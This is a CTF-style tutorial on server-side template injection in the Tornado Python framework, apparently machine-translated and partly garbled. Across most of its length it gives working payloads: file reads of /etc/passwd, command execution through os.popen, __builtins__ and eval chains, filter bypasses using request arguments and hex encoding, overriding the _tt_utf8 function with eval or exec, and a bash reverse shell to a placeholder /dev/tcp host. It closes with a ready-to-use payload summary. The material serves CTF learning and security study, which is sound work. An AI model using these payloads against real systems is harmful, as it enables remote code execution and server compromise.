前書き
ctfでのほとんどのPythonテンプレートインジェクションはフラスコであり、竜巻がテストされることはめったにありません。
以前のネットカップ、easy_tornadoに質問がありました。これは、handler.settingsのみを使用してキー値を取得していました。したがって、この記事を書いて、トルネードテンプレートインジェクションのrce部分を学習して要約します。
テンプレートインジェクションを学びたい場合は、まずテンプレートの構文を学ぶ必要があります。公式ドキュメントは次のとおりです。
https://tornado-zh.readthedocs.io/zh/latest/guide/templates.html
文法
制御ステートメント
flaskと同様に、tornadoのテンプレートは、if、while、およびその他の制御ステートメントにも使用でき、{%%}
それらでラップされます。ブレークコンティニューは{%%}
ラッピングでも使用できます。
ただし、違いは、エンディングが固定されていること{% end %}
です。
式
は変数{
{}}
をラップして変数を
定義するために使用されます。変数は{ {i=1}}
を介して直接割り当てることができます が、より良い方法はsetを使用することです。
{% set i=1 %}
例
{% for i in range(10)%}
{
{i}}
{%end%}
{% if 1>2%}
1
{%elif 1==2%}
2
{%else%}
3
{% end%}
{
{i=10}}
{% while i>1%}
{
{i}}{
{i=i-1}}
{%end%}
{%set i=10%}
{% while i>1%}
{
{i}}{
{i=i-1}}
{%end%}
テンプレートの継承
Tornadoは、extendsタグとincludeタグを使用して、継承するテンプレートを宣言できます。
ここで、悪用される可能性のある最初のポイントであるファイルの読み取りを見つけます。
{% extends "/etc/passwd"%}
{% include "/etc/passwd"%}
モジュール/パッケージのインポート
{% import *module* %}
{% from *x* import *y* %}
これは私たちの利用に大きな役割を果たしているようです。
osやsysなどのパッケージをテンプレートで直接使用することはできませんが、インポートによってインポートした後はどうでしょうか。試してみることができます。
{% import os %}
{
{os.popen("ls").read()}}
完全に元気です。
関数と変数
テンプレートで直接使用できるいくつかの関数または変数を見つけるために読んでください。これらのどれが、HTMLまたはXMLで有効にするために文字列をエスケープするgetshell escape /xhtml_escapetornado.escape.xhtml_escapeエイリアスに役立つかを見てみましょう。エスケープ文字
にはurl_escapeが含まれますtornado.escape.url_escapeエイリアス役割は、URLエンコーディングを実行することです。
<, >, ", ', 和 &.
json_encode
jsonは、指定されたpythonオブジェクトをエンコードします
def json_decode(value):
return json.loads(to_basestring(value))
squeeze
のエイリアスtornado.escape.squeeze
すべてのスペース文字のシーケンスではなく、単一のスペースを使用する
理解するにはソースコードを参照してください
def squeeze(value):
return re.sub(r"[\x00-\x20]+", " ", value).strip()
linkify
tornado.escape.linkify
は、プレーンテキストをリンク付きのHTMLに変換します
例如linkify("Hello http://tornadoweb.org!") 将返回 Hello <a href="http://tornadoweb.org">http://tornadoweb.org</a>!
以前の関数のほとんどはデコードではなくエンコードするため、ほとんど役に立たないようです。{ {datetime.date(2022,3,7)}}などの
datetime
Python datetimeモジュールは、トルネードでのHTTPリクエスト処理の基本クラスでもある2022-03-07ハンドラーの現在のRequestHandlerオブジェクトを返します。このオブジェクトの内容物事に関しては、それは彼のソースコードに依存します。内容は少しかさばります。その中で、前に使用されたhandler.settingsが、次のようにdirを介してすべての呼び出し可能なコンテンツを出力することがわかります。
['SUPPORTED_METHODS', '_INVALID_HEADER_CHAR_RE', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_break_cycles', '_clear_representation_headers', '_convert_header_value', '_decode_xsrf_token', '_execute', '_get_argument', '_get_arguments', '_get_raw_xsrf_token', '_handle_request_exception', '_initialize', '_log', '_remove_control_chars_regex', '_request_summary', '_stream_request_body', '_template_loader_lock', '_template_loaders', '_transforms', '_ui_method', '_ui_module', '_unimplemented_method', 'add_header', 'check_etag_header', 'check_xsrf_cookie', 'clear', 'clear_all_cookies', 'clear_cookie', 'clear_header', 'compute_etag', 'cookies', 'create_signed_value', 'create_template_loader', 'current_user', 'data_received', 'decode_argument', 'delete', 'detach', 'finish', 'flush', 'get', 'get_argument', 'get_arguments', 'get_body_argument', 'get_body_arguments', 'get_browser_locale', 'get_cookie', 'get_current_user', 'get_login_url', 'get_query_argument', 'get_query_arguments', 'get_secure_cookie', 'get_secure_cookie_key_version', 'get_status', 'get_template_namespace', 'get_template_path', 'get_user_locale', 'head', 'initialize', 'locale', 'log_exception', 'on_connection_close', 'on_finish', 'options', 'patch', 'path_args', 'path_kwargs', 'post', 'prepare', 'put', 'redirect', 'render', 'render_embed_css', 'render_embed_js', 'render_linked_css', 'render_linked_js', 'render_string', 'require_setting', 'reverse_url', 'send_error', 'set_cookie', 'set_default_headers', 'set_etag_header', 'set_header', 'set_secure_cookie', 'set_status', 'settings', 'static_url', 'write', 'write_error', 'xsrf_form_html', 'xsrf_token']
これは最初にリストされていません。最初に、前のフラスコテンプレート注入の構文を設定しましょう。
{
{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{
{"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class
テストの結果、これらはまだ完全に使用可能であることがわかりました。結局のところ、これらはPythonのテンプレートとは関係ありません。
このハンドラーを調べていますが、彼はクラスでもあるので、__init__
初期化メソッドを直接呼び出すことはできますか?
{
{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
問題なし。
つまり、フィルタリングを行わない場合、竜巻とフラスコのテンプレート注入はほぼ同じです。
フィルタリングがある場合は、以前に多数の呼び出し可能なメソッドを検討できます。
{
{handler.get_argument('yu')}} //比如传入?yu=123则返回值为123
{
{handler.cookies}} //返回cookie值
{
{handler.get_cookie("data")}} //返回cookie中data的值
{
{handler.decode_argument('\u0066')}} //返回f,其中\u0066为f的unicode编码
{
{handler.get_query_argument('yu')}} //比如传入?yu=123则返回值为123
{
{handler.settings}} //比如传入application.settings中的值
其他的很多方法也是可以获得一些字符串,这里就不一一列出了。
リクエスト
{
{request.method}} //返回请求方法名 GET|POST|PUT...
{
{request.query}} //传入?a=123 则返回a=123
{
{request.arguments}} //返回所有参数组成的字典
{
{request.cookies}} //同{
{handler.cookies}}
.
.
.
上記の2つの主な機能は、文字列のフィルタリングをバイパスできる文字列を取得することです。
しかし、それが_
フィルタリングされた場合はどうなりますか?
globals()
Pythonのglobals()関数は、現在の場所にあるすべてのグローバル変数を辞書として返します。
フラスコに入れる前に、これを直接呼び出すことはできないことがわかります。竜巻の状況を見てみましょう。竜巻
で直接使用できることがわかります。私たちを興奮させているのは、Pythonのいくつかの初期メソッドを直接呼び出すことができることです。 。たとえば__import__、eval、print、hex等
、ペイロードはより簡潔になる可能性があります。
{
{__import__("os").popen("ls").read()}}
{
{eval('__import__("os").popen("ls").read()')}}
2番目の方法は、今述べた目的のためのものであり、適切な_
フィルターをバイパスします
{
{eval(handler.get_argument('yu'))}}
?yu=__import__("os").popen("ls").read()
竜巻にはフィルターがないため、フィルター.
をバイパスするのは少し難しいです。
また、引用符のフィルタリングをバイパスする場合は、上記のペイロードを次の形式に変更できます。
{
{eval(handler.get_argument(request.method))}}
然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理。
最後に、それを()
バイパスします。トルネードでは、メインの処理テンプレートはその下のtemplate.pyファイルです。
コア処理部分は次のとおり
です。コンテンツを気軽に入力して、self.codeのコンテンツを表示できます。
たとえば、{
{2-1}}を渡して
、次のように結果を出力します。
def _tt_execute():
_tt_buffer = []
_tt_tmp = 2-1
if isinstance(_tt_tmp, _tt_string_types):
_tt_tmp = _tt_utf8(_tt_tmp)
else:
_tt_tmp = _tt_utf8(str(_tt_tmp))
_tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp))
_tt_append(_tt_tmp)
return _tt_utf8('').join(_tt_buffer)
このようにして、_tt_utf8を実行する関数の名前にすることができます。改行を追加し、4つの空白行でインデントすることを忘れないでください。
{
{'print(123)'%0a _tt_utf8=eval}}
これを試した後、コードは実際に実行されていることがわかりましたeval('print(123)')
が、サーバー側では、表示されるページにエラーが表示されます。
これは、これら2行のコードが一緒に使用されるためです。
_tt_tmp = _tt_utf8(_tt_tmp)
_tt_utf8(xhtml_escape(_tt_tmp))
# xhtml_escape可以看做是一个html编码的函数
来るのと同等
_tt_tmp=eval("print(123)") #print返回值是None
eval(xhtml_escape(None)) #eval中为空导致报错
次に、これを回避する方法を考え出す必要があります。
より良い方法はrawを使用することです。テスト後、raw構文を使用するとコードが削除されることがわかった_tt_utf8(xhtml_escape(_tt_tmp))
ため、上記の状況を心配する必要はありません。
最後の問題が1つあります。コードの最後の行に値return _tt_utf8('').join(_tt_buffer)
を_tt_utf8
割り当てるeval
と、この場所でもエラーが報告されます。
ただし、解決するのも非常に簡単で、_tt_utf8
strなどのエラーを報告しない関数を割り当てることもできます。
data={% raw "__import__('os').popen('ls').read()"%0a _tt_utf8 = eval%}{
{'1'%0a _tt_utf8 = str}}
上記のコードはまだ存在します()
が、文字列であることがわかりました。これにより、解決がはるかに簡単になります。
代わりに16進数またはUnicodeエンコーディングを使用できます。次のコードは、16進数を直接生成するのに役立ちます。
print(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('ls').read()"]))
使用する文字は基本的にASCIIコードの範囲であるため、文字列をUnicodeに変換すると、\ u00+ASCIIコードが直接使用されます。
print(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('ls').read()"]).replace('\\x','\\u00'))
要約する
竜巻でフィルタリングせずに使用できるペイロード
1、读文件
{% extends "/etc/passwd" %}
{% include "/etc/passwd" %}
2、 直接使用函数
{
{__import__("os").popen("ls").read()}}
{
{eval('__import__("os").popen("ls").read()')}}
3、导入库
{% import os %}{
{os.popen("ls").read()}}
4、flask中的payload大部分也通用
{
{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{
{"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class
5、利用tornado特有的对象或者方法
{
{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{
{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}}
6、利用tornado模板中的代码注入
{% raw "__import__('os').popen('ls').read()"%0a _tt_utf8 = eval%}{
{'1'%0a _tt_utf8 = str}}
フィルター状況
1、过滤一些关键字如import、os、popen等(过滤引号该方法同样适用)
{
{eval(handler.get_argument(request.method))}}
然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理
2、过滤了括号未过滤引号
{% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a _tt_utf8 = eval%}{
{'1'%0a _tt_utf8 = str}}
3、过滤括号及引号
下面这种方法无回显,适用于反弹shell,为什么用exec不用eval呢?
是因为eval不支持多行语句。
__import__('os').system('bash -i >& /dev/tcp/xxx/xxx 0>&1')%0a"""%0a&data={%autoescape None%}{% raw request.body%0a _tt_utf8=exec%}&%0a"""
4、其他
通过参考其他师傅的文章学到了下面的方法(两个是一起使用的)
{
{handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}}
{
{handler.application.default_router.named_rules['345'].target('/readflag').read()}}
参考記事
https://www.qcrane.top/2021/11/29/N1CTF%E5%87%BA%E9%A2%98%E5%B0%8F%E8%AE%B0/#more
https://tornado-zh.readthedocs.io/zh/latest/guide/templates.html
https://www.cnblogs.com/guohan/p/6728188.html